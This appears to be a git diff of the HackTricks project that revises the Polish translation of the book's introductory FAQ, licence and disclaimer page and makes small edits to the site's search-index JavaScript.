> - Celem tej książki jest służyć jako kompleksowy **zasób edukacyjny**. > - Celem tej książki jest służyć jako wszechstronne **źródło edukacyjne**.
> - **STORE** świetne techniki **hacking**, które społeczność publikuje, oddając **ORIGINAL** **AUTHORS** wszystkie **credits**. > - **Przechowywać** świetne **hacking** techniki publikowane przez społeczność, oddając **oryginalnym** **autorom** wszystkie **zasługi**.
> - **Nie chcemy przypisywać sobie zasług innych ludzi**, chcemy po prostu przechowywać fajne triki dla wszystkich. > - **Nie chcemy przypisywać sobie zasług innych osób**, chcemy tylko przechowywać ciekawe triki dla wszystkich.
> - Również publikujemy **własne badania** w HackTricks. > - Również piszemy **własne badania** w HackTricks.
> - W kilku przypadkach zamieścimy jedynie **w HackTricks podsumowanie najważniejszych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego wpisu** po więcej szczegółów. > - W niektórych przypadkach opiszemy w HackTricks jedynie **podsumowanie ważnych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego wpisu** po więcej szczegółów.
> - **ORGANIZE** wszystkie techniki hacking w książce, aby były **MORE ACCESSIBLE** > - **Organizować** wszystkie techniki **hacking** w książce, aby były **bardziej dostępne**
> - Zespół HackTricks poświęcił tysiące godzin bezpłatnie **tylko na uporządkowanie treści**, aby ludzie mogli **uczyć się szybciej** > - Zespół HackTricks poświęcił tysiące godzin za darmo **wyłącznie na organizację treści**, aby ludzie mogli **uczyć się szybciej**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -23,17 +23,17 @@
> [!TIP] > [!TIP]
> >
> - **Thank you so much for these resources, how can I thank you?** > - **Bardzo dziękuję za te zasoby, jak mogę podziękować?**
Możesz publicznie podziękować zespołowi HackTricks za zebranie tych zasobów, publikując tweet i oznaczając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ Możesz publicznie podziękować zespołom HackTricks za zgromadzenie tych zasobów w tweecie, oznaczając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Jeśli jesteś szczególnie wdzięczny możesz też [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ Jeśli jesteś szczególnie wdzięczny, możesz też [**wesprzeć projekt tutaj**](https://github.com/sponsors/carlospolop).\
I nie zapomnij **dać gwiazdki projektom na Githubie!** (Linki znajdują się poniżej). I nie zapomnij **dać gwiazdki projektom na Githubie!** (Znajdź linki poniżej).
> [!TIP] > [!TIP]
> >
> - **How can I contribute to the project?** > - **Jak mogę przyczynić się do projektu?**
Możesz **dzielić się nowymi tipsami i trickami z community lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron na Githubie: Możesz **dzielić się nowymi wskazówkami i trikami ze społecznością lub naprawiać błędy** które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron na Githubie:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -42,16 +42,16 @@ Nie zapomnij **dać gwiazdki projektom na Githubie!**
> [!TIP] > [!TIP]
> >
> - **Can I copy some content from HackTricks and put it in my blog?** > - **Czy mogę skopiować część treści z HackTricks i umieścić ją na moim blogu?**
Tak, możesz, ale **nie zapomnij podać konkretnych link(ów)** skąd pochodziła treść. Tak, możesz, ale **nie zapomnij podać konkretnego linku (linków)**, z którego pochodzi treść.
> [!TIP] > [!TIP]
> >
> - **How can I cite a page of HackTricks?** > - **Jak mogę cytować stronę z HackTricks?**
Dopóki pojawi się link do strony(/stron), z której wzięto informację, to wystarczy.\ Dopóki pojawi się link **do** strony (stron), z której wzięto informacje, to wystarczy.\
Jeśli potrzebujesz bibtex możesz użyć czegoś w stylu: Jeśli potrzebujesz bibtex, możesz użyć czegoś takiego:
```latex ```latex
@misc{hacktricks-bibtexing, @misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick}, author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -64,45 +64,45 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
> >
> - **Czy mogę skopiować wszystkie HackTricks na mój blog?** > - **Czy mogę skopiować wszystkie HackTricks na mój blog?**
**Wolałbym, żeby nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo. **Wolałbym nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo.
Jeśli obawiasz się, że zniknie, po prostu zrób fork na Github lub pobierz ją — jak wspomniałem, jest już darmowa. Jeśli obawiasz się, że zniknie, po prostu zrób fork na Github lub pobierz ją — jak mówiłem, jest już darmowa.
> [!WARNING] > [!WARNING]
> >
> - **Dlaczego macie sponsorów? Czy książki HackTricks mają cele komercyjne?** > - **Dlaczego macie sponsorów? Czy książki HackTricks mają charakter komercyjny?**
Pierwszą wartością **HackTricks** jest oferowanie **DARMOWYCH** materiałów edukacyjnych o tematyce hackingowej dla CAŁEGO świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić tę zawartość, ponownie, **ZA DARMO**. Pierwszą **HackTricks** **wartością** jest oferowanie **DARMOWYCH** materiałów edukacyjnych o hackingu dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić tę zawartość, ponownie, **ZA DARMO**.
Jeśli uważasz, że książki HackTricks powstały w **celach komercyjnych**, **CAŁKOWICIE SIĘ MYLISZ**. Jeżeli uważasz, że książki HackTricks powstały w celach **komercyjnych**, jesteś **CAŁKOWICIE W BŁĘDZIE**.
Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy dać **społeczności możliwość docenienia naszej pracy**, jeśli tego chcą. Dlatego oferujemy opcję darowizn dla HackTricks poprzez [**Github sponsors**](https://github.com/sponsors/carlospolop) oraz współpracę z **odpowiednimi firmami z branży cybersecurity**, które sponsorują HackTricks i mają w książce kilka reklam — reklamy są zawsze umieszczane w miejscach, które są **widoczne**, ale **nie przeszkadzają w nauce**, gdy ktoś skupia się na treści. Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy dać społeczności możliwość docenienia naszej pracy, jeśli tego chcą. Dlatego oferujemy ludziom opcję wsparcia HackTricks poprzez [**Github sponsors**](https://github.com/sponsors/carlospolop), oraz **odpowiednie firmy z branży cyberbezpieczeństwa**, aby sponsorowały HackTricks i umieszczały pewne **reklamy** w książce — **reklamy** są zawsze umieszczane w miejscach, które czynią je **widocznymi**, ale **nie zakłócają procesu nauki**, jeśli ktoś skupi się na treści.
Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak na innych blogach o znacznie mniejszej zawartości, ponieważ HackTricks nie jest tworzony w celach komercyjnych. Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak inne blogi z dużo mniejszą ilością treści niż HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych.
> [!CAUTION] > [!CAUTION]
> >
> - **Co mam zrobić, jeśli jakaś strona HackTricks jest oparta na moim wpisie na blogu, ale nie została do niej podana referencja?** > - **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie ma odniesienia?**
**Bardzo nam przykro. To nie powinno się zdarzyć**. Proszę, daj nam znać przez Github issues, Twitter, Discord... podając link do strony HackTricks z daną treścią oraz link do Twojego bloga i **sprawdzimy to i dodamy odnośnik jak najszybciej**. **Bardzo przepraszamy. To nie powinno się zdarzyć**. Proszę, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z tą treścią oraz link do twojego bloga i **sprawdzimy to i dodamy je jak najszybciej**.
> [!CAUTION] > [!CAUTION]
> >
> - **Co mam zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę, aby tam była?** > - **Co powinienem zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę jej tam?**
Zwróć uwagę, że posiadanie linków do Twojej strony w HackTricks: Zwróć uwagę, że posiadanie linków do twojej strony w HackTricks:
- Poprawia Twoje **SEO** - Poprawia twoje **SEO**
- Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej zawartości - Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści
- **HackTricks zachęca** ludzi do **sprawdzenia Twojej strony** (kilka osób wspomniało nam, że odkąd ich strona znalazła się w HackTricks, otrzymują więcej odwiedzin) - **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (wiele osób wspomniało nam, że od czasu, gdy ich strona znalazła się w HackTricks, otrzymują więcej odwiedzin)
Jeśli jednak nadal chcesz, aby treść z Twojego bloga została usunięta z HackTricks, po prostu daj nam znać i **usuniemy każdy link do Twojego bloga** oraz wszelkie treści na nim oparte. Jeśli jednak nadal chcesz, aby zawartość twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a na pewno **usunemy każdy link do twojego bloga** oraz wszelkie treści oparte na nim.
> [!CAUTION] > [!CAUTION]
> >
> - **Co mam zrobić, jeśli znajdę skopiowaną treść w HackTricks?** > - **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?**
Zawsze **przyznajemy autorom oryginalnym wszystkie zasługi**. Jeśli znajdziesz stronę ze skopiowaną treścią bez podanego źródła, daj nam znać — albo **usuniemy ją**, **dodamy link przed tekstem**, albo **przepiszemy ją, dodając odnośnik**. Zawsze **przyznajemy oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę ze skopiowaną treścią bez odwołania do oryginalnego źródła, daj nam znać, a my albo **usuniemy ją**, **dodamy link przed tekstem**, albo **przepiszemy ją, dodając link**.
## LICENCJA ## LICENCJA
@ -111,33 +111,33 @@ Copyright © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej.
#### Podsumowanie licencji: #### Podsumowanie licencji:
- Atrybucja: Masz prawo do: - Atrybucja: Masz prawo do:
- Udostępnianie — kopiowania i rozpowszechniania materiału w dowolnym medium lub formacie. - Udostępniać — kopiować i rozpowszechniać materiały w dowolnym medium lub formacie.
- Adaptacja — remiksowania, przekształcania i tworzenia na podstawie materiału. - Modyfikować — remiksować, przekształcać i tworzyć prace na bazie materiału.
#### Dodatkowe warunki: #### Dodatkowe warunki:
- Treści stron trzecich: Niektóre części tego bloga/książki mogą zawierać materiały pochodzące z innych źródeł, takie jak fragmenty innych blogów lub publikacji. Korzystanie z takich materiałów odbywa się zgodnie z zasadami dozwolonego użytku (fair use) lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy odwołać się do oryginalnych źródeł w celu uzyskania szczegółowych informacji o licencjonowaniu dotyczących treści stron trzecich. - Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takich treści odbywa się na zasadach dozwolonego użytku (fair use) lub za wyraźną zgodą odpowiednich posiadaczy praw autorskich. Proszę odnieść się do oryginalnych źródeł w celu uzyskania szczegółowych informacji o licencjonowaniu materiałów stron trzecich.
- Autorstwo: Oryginalne treści autorstwa HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisania autorstwa podczas udostępniania lub adaptowania tych materiałów. - Autorstwo: Oryginalne treści stworzone przez HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisywania autorstwa tej pracy autorowi podczas udostępniania lub adaptowania jej.
#### Wyłączenia: #### Wyłączenia:
- Wykorzystanie komercyjne: W sprawie wykorzystania komercyjnego tych materiałów prosimy o kontakt. - Wykorzystanie komercyjne: W sprawach dotyczących komercyjnego wykorzystania tych treści, proszę o kontakt.
Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani brandingu w związku z zawartością. Wszystkie znaki towarowe i elementy brandingu przedstawione w tym blogu/książce należą do ich odpowiednich właścicieli. Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani brandingu w odniesieniu do treści. Wszystkie znaki towarowe i elementy brandingu występujące na tym blogu/książce są własnością ich odpowiednich właścicieli.
**Korzystając z HackTricks, zgadzasz się przestrzegać warunków tej licencji. Jeśli się z nimi nie zgadzasz, prosimy nie uzyskiwać dostępu do tej strony.** **Poprzez dostęp do HackTricks lub jego użytkowanie zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, proszę, nie korzystaj z tej witryny.**
## **Zrzeczenie odpowiedzialności** ## **Zrzeczenie odpowiedzialności**
> [!CAUTION] > [!CAUTION]
> Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Zawartość tej książki jest udostępniona na zasadzie "tak jak jest" i autorzy oraz wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, co do kompletności, dokładności, wiarygodności, przydatności ani dostępności informacji, produktów, usług czy powiązanych ilustracji zawartych w tej książce. Każde poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko. > Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Zawartość tej książki jest udostępniana w stanie "tak jak jest", a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji, wyraźnych ani dorozumianych, dotyczących kompletności, dokładności, rzetelności, przydatności ani dostępności informacji, produktów, usług czy powiązanych grafik zawartych w tej książce. Każde poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko.
> >
> Autorzy i wydawcy w żadnym wypadku nie będą odpowiedzialni za jakiekolwiek straty lub szkody, w tym bez ograniczeń straty pośrednie lub następcze, ani jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków związanych z korzystaniem z tej książki. > Autorzy i wydawcy w żadnym wypadku nie będą odpowiedzialni za jakiekolwiek straty lub szkody, w tym między innymi szkody pośrednie lub wynikowe, ani za jakiekolwiek straty czy szkody wynikające z utraty danych lub zysków powstałe w związku z korzystaniem z tej książki.
> >
> Ponadto techniki i wskazówki opisane w tej książce są przeznaczone wyłącznie do celów edukacyjnych i informacyjnych i nie powinny być wykorzystywane do działań nielegalnych lub złośliwych. Autorzy i wydawcy nie pochwalają ani nie wspierają żadnych działań nielegalnych lub nieetycznych, a korzystanie z informacji zawartych w tej książce odbywa się na ryzyko i odpowiedzialność użytkownika. > Ponadto techniki i wskazówki opisane w tej książce są podane jedynie w celach edukacyjnych i informacyjnych i nie powinny być używane do żadnych nielegalnych ani złośliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych lub nieetycznych działań, a wszelkie wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika.
> >
> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać porady oraz pomocy profesjonalnej przy próbach wdrożenia jakichkolwiek opisanych technik lub wskazówek. > Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i zawsze powinien szukać profesjonalnej porady i pomocy przy próbach wdrożenia jakichkolwiek opisanych tu technik lub wskazówek.
> >
> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności i zobowiązań za wszelkie szkody, straty lub krzywdy, które mogą wyniknąć z użycia tej książki lub informacji w niej zawartych. > Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności za jakiekolwiek szkody, straty lub krzywdy, które mogą wyniknąć z używania tej książki lub jakichkolwiek informacji w niej zawartych.
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false }); handle.addEventListener("touchstart", onStart, { passive: false });
} }
})(); })();

View File

@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download'; const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download'; const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`); const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`); const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = []; const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main); const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length); listOut.classList.toggle('hidden',!docs.length);
}; };
})(); })();